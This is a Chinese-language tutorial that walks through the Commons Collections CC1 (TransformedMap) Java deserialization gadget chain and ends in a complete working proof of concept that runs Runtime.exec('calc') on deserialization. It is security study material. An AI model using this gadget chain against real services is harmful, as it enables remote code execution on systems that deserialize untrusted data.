CC1总共有两种玩法TransformedMap版和lazyMap版,本文先解读第一种TransformedMap版的CC1。
简单介绍 Commons Collections Commons Collections
是 Apache 提供的 Java 类库,扩展和增强了 Java
集合框架,提供了功能强大、灵活高效的数据结构和工具类,简化集合操作,简化开发者对数据的处理过程。
例如:
Bag
统计元素出现次数,避免手动计数。
MultiValuedMap
支持一键多值映射,简化多对多关系处理。
BidiMap
实现键值双向查询,避免重复查找。
LRUMap
内建缓存淘汰机制,无需自写逻辑。
CollectionUtils
快速实现集合交集、差集、并集操作。
CC链 CC1就是利用Commons Collections
构造出来的其中一条反序列化利用链;同样还有其他的CC 链,CC 1-6-3-2-4-5-7-11和CommonsBeanUtils链。
环境搭建 JDK安装 CC1链在JDK_8u71修复了,因此我们下载jdk8u65 版本,可以把安装包放在虚拟机安装,然后把安装的目录复制一下就能用。
新建Java项目,JKD选择时点从磁盘加载JDK,然后选安装的目录即可
commons-collections选择3.2.1.版本
pom.xml导入依赖包
1 2 3 4 5 <dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.2 .1 </version> </dependency>
随便导入个包,看看依赖是否引入成功
反编译问题 如果在调试时发现源码是.class
编译后的文件,可以下载openJDK ,解压后 把/src/share/classes的sun文件放到jdk8u65的src目录。
然后在源路径导入即可
前置基础 我这里提前基础知识写一下,阅读时可以先跳过前置基础部分,等下面用到了这些时再折返回来看。
反射
反射允许 Java 程序在运行时动态获取类信息、创建对象、调用方法和访问私有成员。我们可以利用Java的反射机制动态调用方法,private的方法也可以调用。
获取类对象
forName() 根据指定的类的全限定名,在运行时查找并加载类
getClass()
.class
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 public class ReflectionRuntimeDemo { public static void main (String[] args) { Runtime runtimeInstance = Runtime.getRuntime(); Class<?> cls1 = runtimeInstance.getClass(); System.out.println("运行时 `getClass()`: " + cls1.getName()); Class<?> cls2 = Runtime.class; System.out.println("编译时 `.class` 获取: " + cls2.getName()); Class<?> cls3 = Class.forName("java.lang.Runtime" ); System.out.println("运行时 `Class.forName()` 获取: " + cls3.getName()); } }
获取类方法 通过指定类对象,再利用下面的方法查看类中有哪些方法
getDeclaredMethods() 回类或接口声明的所有方法,包括 public、private 以及默认方法,但不包括继承的方法
getMethods() 返回某个类的所有 public 方法,包括其继承类的 public 方法
getMethod() 只能返回一个特定的方法,例如返回 Runtime 类中的 exec() 方法,该方法的第一个参数为方法名称,后面的参数为方法的参数对应 Class 的对象
getDeclaredMethod() getDeclaredFields 方法能够获得类的成员变量数组包括 public、private 和 protected,但是不包括父类的声明字段
获取类成员变量 与上面同理,获得特定的类成员变量
getFields() 能够获取某个类的所有 public 字段,包括父类中的字段。
getDeclaredFields() 能够获得类的成员变量数组包括 public、private 和 protected,不包括父类的声明字段
getDeclaredField() 获得类的单个成员变量
注:反射在硕森星火学的
反射例子 利用反射执行Runtime.getRuntime().exec("calc");
,弹出计算器
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 Class<?> runtimeClass = Class.forName("java.lang.Runtime" ); Method getRuntimeMethod = runtimeClass.getMethod("getRuntime" ); Object getRuntimeinstance=getRuntimeMethod.invoke(null ); Method exec = runtimeClass.getMethod("exec" , String.class); exec.invoke(getRuntimeinstance,"calc" ); 或者 Runtime runtime = Runtime.getRuntime(); Class c=Runtime.class; Method m= c.getMethod("exec" ,String.class); m.invoke(runtime,"calc" );
TransformedMap
是工具包提供的装饰器(Decorator) ,用于自动转换 Map
中的键和值 。 它在转换新元素时,就会调用Transformer中的transform方法。
1 2 3 4 5 6 protected TransformedMap (Map map, Transformer keyTransformer, Transformer valueTransformer) { super (map); this .keyTransformer = keyTransformer; this .valueTransformer = valueTransformer; }
三个参数,参数map,代表键值对的集合;keyTransformer和valueTransformer通俗理解就是通过调用方法来对key和value进行加强或者修饰。
Transformer
是一个接口 ,它的作用是对输入数据进行转换,返回一个新的数据 ;并提供了一个待实现的transform()
方法,用来定义具体的转换逻辑。
下方就是Transformer
的具体实现类,并且每个实现类都有一个transform()
方法:
InvokerTransformer的构造函数接收三个参数 方法名、参数类型、参数值;而它的transform方法会接收一个类名来作为构造方法参数methodName
的类。
例如methodName=getRuntime,input=Runtime,会变成Runtime.getRuntime()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 public InvokerTransformer (String methodName, Class[] paramTypes, Object[] args) { super (); iMethodName = methodName; iParamTypes = paramTypes; iArgs = args; } public Object transform (Object input) { if (input == null ) { return null ; } try { Class cls = input.getClass(); Method method = cls.getMethod(iMethodName, iParamTypes); return method.invoke(input, iArgs); }...
ChainedTransformer构造方法接收一个数组并把它保存在iTransformers中;transform()方法会把数组进行遍历,把上一个遍历的结果当作下一次遍历时的参数。
1 2 3 4 5 6 7 8 9 10 11 12 public ChainedTransformer (Transformer[] transformers) { super (); iTransformers = transformers; } public Object transform (Object object) { for (int i = 0 ; i < iTransformers.length; i++) { object = iTransformers[i].transform(object); } return object; }
构造方法把接收的参数赋给iConstant,并在调用transform时,不管传入的是什么都会返回iConstant的值
1 2 3 4 5 6 7 8 9 public ConstantTransformer (Object constantToReturn) { super (); iConstant = constantToReturn; } public Object transform (Object input) { return iConstant; }
我在URLDNS链中就已经提到过,反序列化链的本质就是要找重写了readObject()方法并且可序列化 的入口点,也就是链子的头部;还有可以执行命令的危险方法(不同类的同名函数反射和动态加载字节码) 作为尾部;最后用不同类的同名函数将头部和尾部串联起来。
寻找链的顺序就是先找尾部,然后往前找readobject头部。现在从尾部进行解读
尾部就是transformer接口的实现方法InvokerTransformer的方法
我们进入transformer接口查看它的实现类
进入InvokerTransformer,该方法我已在前置基础已经讲过,它可以接收方法名和类名,我们可以传入Runtime类 getRuntime方法 就可以执行命令。
反射实现命令执行 接下来写一个用InvokerTransformer执行命令的poc,同时InvokerTransformer是public不需要反射就可以调用
1 2 3 Runtime runtime = Runtime.getRuntime(); InvokerTransformer invokerTransformer = new InvokerTransformer ("exec" ,new Class []{String.class},new Object []{"calc" }); invokerTransformer.transform(runtime);
执行成功就说明我们这个尾部可以使用,接下来就该继续往上找不同类的相同方法名,也就是看谁还调用了transform()方法。
光标放到transform上crtl+alt+shift+f7查看谁调用了transform()
发现TransformedMap下的checkSetValue()方法调用了transform()
右键跳转到源查看
发现checkSetvalue是一个保护方法(只能被同一个类或者子类调用),同时返回了一个valueTransformer.transform()
右键查找用法或者在该类搜索一下valueTransformer,看看谁使用了valueTransformer
发现TransformedMap的构造方法提到了它
这样的话我们可以给构造方法的Transformer valueTransformer
的参数传入InvokerTransformer,然后去主动调用checksetvalue()方法,这样我们就把这两个类串连起来了。
1 2 3 4 5 流程 TransformedMap.decorate(hashmap,null ,InvokerTransformer) 通过调用checkSetvalue valueTransformer.transform()->InvokerTransformer.transform() 进而执行命令
但是我们需要注意,TransformedMap的方法是protected,不能直接实例化,我们需要继续找。
这里还是在TransformedMap类找到了一个静态方法,该静态类为public,并且return了一个实例化的TransformMap构造方法,这正是我们需要的。
我们把这两个类串联起来写一个POC,看看命令能不能执行成功。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 package CC1demo; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; import java.io.IOException; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; import java.util.HashMap; import java.util.Map; import static java.lang.Class.forName;public class test { public static void main (String[] args) throws IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException { Runtime runtime = Runtime.getRuntime(); InvokerTransformer invokerTransformer = new InvokerTransformer ("exec" ,new Class []{String.class},new Object []{"calc" }); HashMap<Object, Object> TestHashmap = new HashMap <>(); Map<Object, Object> decorateTestHashmap = TransformedMap.decorate(TestHashmap,null ,invokerTransformer); Class<TransformedMap> transformedMapClass = TransformedMap.class; Method checkSetValueMethod = transformedMapClass.getDeclaredMethod("checkSetValue" , Object.class); checkSetValueMethod.setAccessible(true ); checkSetValueMethod.invoke(decorateTestHashmap, runtime ); } }
POC解读 第一部分
1 2 Runtime runtime = Runtime.getRuntime(); InvokerTransformer invokerTransformer = new InvokerTransformer ("exec" ,new Class []{String.class},new Object []{"calc" });
还是利用InvokerTransformer执行Runtime.getRuntime().exec("calc")
,也就是最后的命令执行部分
第二部分
1 2 HashMap<Object, Object> TestHashmap = new HashMap <>(); Map<Object, Object> decorateTestHashmap = TransformedMap.decorate(TestHashmap,null ,invokerTransformer);
创建了一个map,并作为decorate的第一个参数传入,第三个参数invokerTransformer作为valuetransformer传入,便于后续的调用valuetransformer.transform()->invokerTransformer.transform()
第三部分
1 2 3 4 Class<TransformedMap> transformedMapClass = TransformedMap.class; Method checkSetValueMethod = transformedMapClass.getDeclaredMethod("checkSetValue" , Object.class); checkSetValueMethod.setAccessible(true ); checkSetValueMethod.invoke(decorateTestHashmap, runtime );
由于TransformerdMap里的方法checkSetValue()是protected的,不能直接调用,因此使用反射调用该方法;getDeclaredMethod在前置基础的反射已经说明过,可以获取protected的方法,setAccessible(true)
使其可以访问以便于调用它;
checkSetValueMethod.invoke(decorateTestHashmap, runtime );
该部分是让获得的方法checkSetValue
方法在decorateTestHashmap
上调用(等价于在TransformedMap上调用checkSetValue方法;这里需要注意checkSetValue是我们主动调用的),同时把runtime
作为参数传入checkSetValue
方法中,runtime
最终会作为transform()
的参数。
运行命令成功执行,说明串起来的链子没问题。
部分流程图 先给这两个类画一个流程图,方便理解,后续继续补充
中间转换过程
这样我们后小段链子就构造好了,继续往前找,前文中我们的Poc中的checkSetValue是我们写入主动调用的,因此就需要往前找到一个可以调用checkSetValue方法的类。
右键查找用法
跳转到源
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 static class MapEntry extends AbstractMapEntryDecorator { private final AbstractInputCheckedMapDecorator parent; protected MapEntry (Map.Entry entry, AbstractInputCheckedMapDecorator parent) { super (entry); this .parent = parent; } public Object setValue (Object value) { value = parent.checkSetValue(value); return entry.setValue(value); } }
发现AbstractInputCheckedMapDecorator类
下的静态方法MapEntry中的setValue()
调用了checkSetValue()
。
找setValue()触发条件 接下来我们就需要找到怎么才会主动触发setValue() ,进而触发checkSetValue()
方法,这样就可以继续完善POC,来测试这个类和之前的两个类能不能串起来。
同时发现AbstractInputCheckedMapDecorator类
是transformerdMap类
的父类;
鼠标悬停时,发现AbstractInputCheckedMapDecorator类
重写了setValue()方法,它的父类是AbstractMapEntryDecorator类
,
transformerdMap类是儿子 AbstractInputCheckedMapDecorator类是爸爸 AbstractMapEntryDecorator类是爷爷
跟进AbstractMapEntryDecorator类
getKey和getValue是返回键值的,setValue是把参数接收的值赋给value,通俗来说就是修改value值。
setValue()介绍 setValue()
可以调用的情况
必须通过 map.entrySet()
获取 Entry 对象(本质是获得map的所有键值对的,entry代表一对键值对)
不能直接在 Map 上调用 setValue()
,因为 Map 本身没有 setValue()
方法
Map.Entry是 Map中的键值对对象 ,只有当 entry 通过 entrySet()
获取时,setValue()
才能被调用
正确调用 setValue()
的方式
1 2 3 4 5 6 7 8 9 10 11 Map<String, String> map = new HashMap <>(); map.put("jjxxx" , "value1" ); for (Map.Entry<String, String> entry : map.entrySet()) { entry.setValue("newValue" ); } System.out.println(map.get("jjxxx" ));
因此我们知道当遍历map时,就可以主动调用SetValue;完善POC的思路就是新建一个map,传入键值对,让tranformedMap修饰它,然后遍历tranformedMap
,调用Setvalue
。
我这里先把poc写出来,详细问题后面介绍
POC 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 package CC1demo; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; import java.io.IOException; import java.util.HashMap; import java.util.Map; public class test { public static void main (String[] args) throws IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException { Runtime runtime = Runtime.getRuntime(); InvokerTransformer invokerTransformer = new InvokerTransformer ("exec" ,new Class []{String.class},new Object []{"calc" }); HashMap<Object, Object> TestHashmap = new HashMap <>(); TestHashmap.put("key1" , "value1" ); Map<Object, Object> decorateTestHashmap = TransformedMap.decorate(TestHashmap,null ,invokerTransformer); for (Map.Entry<Object, Object> entry : decorateTestHashmap.entrySet()) { entry.setValue(runtime); } } }
此次POC把反射调用的CheckSetvalue()
删除,增加了遍历TransformedMap.decorate装饰的decorateTestHashmap
并主动调用SetValue()
,从而调用了CheckSetValue()
方法。
命令成功执行说明我们成功把这三个类串了起来,也证明了新加的这个类是可以用的。
parent和value参数问题
这里分析一下POC为什么能执行成功和其中的一些执行细节。
再贴一次源码,方便介绍
源码中value=parent.checkSetValue(value)
,涉及了两个参数parent和value
关于parent
因为MapEntry
的构造方法中接受的是AbstractInputCheckedMapDecorator
类型的parent,TransformedMap
是它的子类,因此传进入的parent参数可以是TransformedMap
的。
具体parent.checkSetValue(value)
是怎么转换成TransformedMap.checkSetValue(value)
的可以调试一下查看是什么情况。
可以看到我们遍历decorateTestHashmap
时,parent
的值就会变为TransformedMap
关于该值是怎么传进去的,具体的逻辑流程shelter 中已经很详细介绍了。
总结一下流程如下:
遍历decorateTestHashmap
(我POC中命名的参数)前,由于TransformedMap
没有entrySet(),会找它的父类AbstractInputCheckedMapDecorator
的entrySet()
,它会调用静态构造器实例化EntrySet类,其中传入的parent参数就是TransformedMap
;准备遍历时会把TransformedMap
传入EntrySetIterator类
中;遍历时会new一个AbstractInputCheckedMapDecorator
,同时会把EntrySetlterator类中的parent当作参数传入。
关于value value参数其实是不可控的,后面会具体介绍不可控的详情和解决办法。
部分流程图 继续完善流程图
头部AnnotationInvocationHandler类
从上文我们知道,setValue
可以在遍历map时调用,我们上方的poc是主动调用的setValue,因此我们的下一步就是找到一个能够调用setValue的类。
还是老样子右键查看用法,找符合条件的类 发现AnnotationInvocationHandler类
的readobject()
方法调用了setValue()
方法,这个类可以说是一举两得,找到setValue()
的同时还把readobject()
入口点找到了;也符合可序列化和重写readobject方法。
查看方法,发现for循环接收一个memberValues
,最终变为memberValue.setValue
,翻翻这个参数从哪里来;同时我们看到了要调用setValue方法,需要绕过两个if条件,并且setvalue里面的参数也是不可控的,我们最后需要绕过这些。
在该类的构造方法中看到接收的参数,注解类型的type和Map类型的memberValues
;同时它的作用域为Defalult,那么调用时就需要反射调用了。
接下来写POC的思路就是用反射调用该类的的构造方法,让它触发setvalue方法,这里的话先写一个poc的草稿,后续遇到问题会继续修改
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 package CC1demo; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; import java.io.*; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; import java.util.HashMap; import java.util.Map; import static java.lang.Class.forName; public class test { public static void main (String[] args) throws IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, InstantiationException { Runtime runtime = Runtime.getRuntime(); InvokerTransformer invokerTransformer = new InvokerTransformer ("exec" ,new Class []{String.class},new Object []{"calc" }); HashMap<Object, Object> TestHashmap = new HashMap <>(); TestHashmap.put("key1" , "value1" ); Map<Object, Object> decorateTestHashmap = TransformedMap.decorate(TestHashmap,null ,invokerTransformer); final Class<?> aClass = forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor constructor = aClass.getDeclaredConstructor(Class.class, Map.class); constructor.setAccessible(true ); Object result1 = constructor.newInstance(Override.class, decorateTestHashmap); ser(result1); unser("ser.bin" ); } public static void ser (Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("ser.bin" )); oos.writeObject(obj); } public static Object unser (String Filename) throws IOException, ClassNotFoundException{ ObjectInputStream ois = new ObjectInputStream (new FileInputStream (Filename)); Object obj = ois.readObject(); return obj; } }
这就是我们写好的POC草稿,它现在运行肯定是没办法成功执行命令的。
三个问题的解决方法
因为我们还有三个问题没有解决: 第一,Runtime类是没法序列化的 第二,两个if条件还没有绕过,否则无法调用setValue 第三,setValue内的值不可控
Runtime序列化问题 Runtime
没有实现 Serializable
,因此不能直接被序列化 。Runtime.class
本质上是 Class
类的一个实例 ,它可以序列化,我们可以通过反射调用Runtime.class
。
先用普通反射写一下
1 2 3 4 5 Class<Runtime> runtimeClass = Runtime.class; Method getruntime = runtimeClass.getMethod("getRuntime" ); Runtime runtime = (Runtime) getruntime.invoke(null ,null ); Method execmethod = runtimeClass.getMethod("exec" ,String.class); execmethod.invoke(runtime,"calc" );
然后再用InvokerTransformer
的方式把它写出来
1 2 3 4 5 6 7 8 9 10 11 Method getruntime=(Method) new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class},new Object []{"getRuntime" ,null }).transform(Runtime.class); Runtime runtime = (Runtime) new InvokerTransformer ("invoke" ,new Class []{Object.class,Object[].class},new Object []{null ,null }).transform(getruntime); new InvokerTransformer ("exec" ,new Class []{String.class},new Object []{"calc" }).transform(runtime);
写出来之后 ,我们发现其实第一个InvokerTransformer
得到的结果就是下一个InvokerTransformer.transform
接收的参数。
这时候就可以利用我们前置知识提到的ChainedTransformer类
,详情前置知识已经讲了,直接利用它修改一下上方代码
1 2 3 4 5 6 7 Transformer[] transformers = new Transformer []{ new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class},new Object []{"getRuntime" ,null }), new InvokerTransformer ("invoke" ,new Class []{Object.class,Object[].class},new Object []{null ,null }), new InvokerTransformer ("exec" ,new Class []{String.class},new Object []{"calc" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); chainedTransformer.transform(Runtime.class);
再把它前面的poc草稿结合一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 package CC1demo; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; import java.io.*; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; import java.util.HashMap; import java.util.Map; import static java.lang.Class.forName; public class test { public static void main (String[] args) throws IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, InstantiationException { Transformer[] transformers = new Transformer []{ new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class},new Object []{"getRuntime" ,null }), new InvokerTransformer ("invoke" ,new Class []{Object.class,Object[].class},new Object []{null ,null }), new InvokerTransformer ("exec" ,new Class []{String.class},new Object []{"calc" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); HashMap<Object, Object> TestHashmap = new HashMap <>(); TestHashmap.put("key1" , "value1" ); Map<Object, Object> decorateTestHashmap = TransformedMap.decorate(TestHashmap,null ,chainedTransformer); final Class<?> aClass = forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor constructor = aClass.getDeclaredConstructor(Class.class, Map.class); constructor.setAccessible(true ); Object result1 = constructor.newInstance(Override.class, decorateTestHashmap); ser(result1); unser("ser.bin" ); } public static void ser (Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("ser.bin" )); oos.writeObject(obj); } public static Object unser (String Filename) throws IOException, ClassNotFoundException{ ObjectInputStream ois = new ObjectInputStream (new FileInputStream (Filename)); Object obj = ois.readObject(); return obj; } }
这样就把序列化的问题解决了。
绕过两个if问题 需要绕过这两个条件
第一个if
1 2 3 4 String name = memberValue.getKey();Class<?> memberType = memberTypes.get(name);
因为Override
注解中没有key1所以就跳出了if判断,因此我们找其他注解
进入@Target
注解,看到该注解中有一个名称为value的成员
我们修改一下POC,修改部分如下:
在调试中可以看到已经绕过了第一个if
第二个if memberType.isInstance(value)
是判断value的类型(String)和注解memberType的类型(Class)能不能强转,很显然是不可以强转的,直接绕过了这个if
Value值不可控问题 接着往下调试,到最后还是执行不了命令的,因为setValue
里面的值是下方这个,控制不了参数,需要找解决办法。
前置基础提到过有一个ConstantTransformer
,构造方法把接收的参数赋给iConstant,并在调用transform
时,不管传入的是什么都会返回iConstant的值。
利用这一点修改POC,只需要在chainedTransformer
数组中new ConstantTransformer(Runtime.class)
。这样就完成了我们最终的POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 package CC1demo; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; import java.io.*; import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; import java.util.HashMap; import java.util.Map; import static java.lang.Class.forName; public class test1 { public static void main (String[] args) throws IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, InstantiationException { Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class},new Object []{"getRuntime" ,null }), new InvokerTransformer ("invoke" ,new Class []{Object.class,Object[].class},new Object []{null ,null }), new InvokerTransformer ("exec" ,new Class []{String.class},new Object []{"calc" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); HashMap<Object, Object> TestHashmap = new HashMap <>(); TestHashmap.put("value" , "jjxxx" ); Map<Object, Object> decorateTestHashmap = TransformedMap.decorate(TestHashmap,null ,chainedTransformer); final Class<?> aClass = forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor constructor = aClass.getDeclaredConstructor(Class.class, Map.class); constructor.setAccessible(true ); Object result1 = constructor.newInstance(Target.class, decorateTestHashmap); ser(result1); unser("ser.bin" ); } public static void ser (Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("ser.bin" )); oos.writeObject(obj); } public static Object unser (String Filename) throws IOException, ClassNotFoundException{ ObjectInputStream ois = new ObjectInputStream (new FileInputStream (Filename)); Object obj = ois.readObject(); return obj; } }
可以看到在经过这个ConstantTransformer
时就返回了Runtime.class
,把之前的值绕过,成功传入了chainedTransformer
的第一个参数`
关于ConstantTransformer的利用详情 setValue默认的值为下方的AnnotationTypeMismatchExceptionProxy
1 2 3 4 memberValue.setValue( new AnnotationTypeMismatchExceptionProxy ( value.getClass() + "[" + value + "]" ).setMember( annotationType.members().get(name)));
这个参数在走到我们构造的ChainedTransformer
中的第一条时会变成new ConstantTransformer(Runtime.class).transform(AnnotationTypeMi..上面的一大串)
,因为传入的是Runtime.class
,因此不管transform
不管传入的什么参数,都会返回Runtime.class
,这样参数不可控就成功解决了。
最终弹出计算器
最终流程图
感觉有些不妥,又修改了一下
总结 我们把构造好的这条链子序列化之后,在有反序列化漏洞的服务传入,它会把我们构造好的链子反序列化,从而触发readobject()方法 ,由于我们在AnnotationInvocationHandler入口类的构造方法传入了用TransformedMap修饰过的map,在对map进行遍历的时候就会调用AbstractInputCheckedMapDecorator类的setValue(不可控参数)方法 ,它的方法内又会调用parent.checkSetValue(不可控参数)方法 ,parent.checkSetValue()由于遍历转换成了调用TransformedMap.checkSetValue(不可控参数) ,checkSetValue()会调用chainsedTransmer.transform(不可控参数) ,接着就是chainsedTransmer数组内的调用, 首先是ConstantTransformer.transform()->返回Runtime.class;
等数组循环完就会成功执行命令Runtime.getRuntime().exec("calc");
到此TransformedMap版的CC1链就分析完了,后续会再写一篇分析LazyMap版的CC1链。
本文章测试时用到的代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 package CC1demo; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import java.io.*; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; import static java.lang.Class.forName; import static jdk.internal.org.objectweb.asm.commons.Method.getMethod; public class test { public static void main (String[] args) throws IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, InstantiationException { ... ... ... } }
参考链接 https://www.freebuf.com/articles/web/383152.html https://drun1baby.top/2022/06/06/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96Commons-Collections%E7%AF%8701-CC1%E9%93%BE/#0x05-TransformMap%E7%89%88CC1%E6%89%8B%E5%86%99-EXP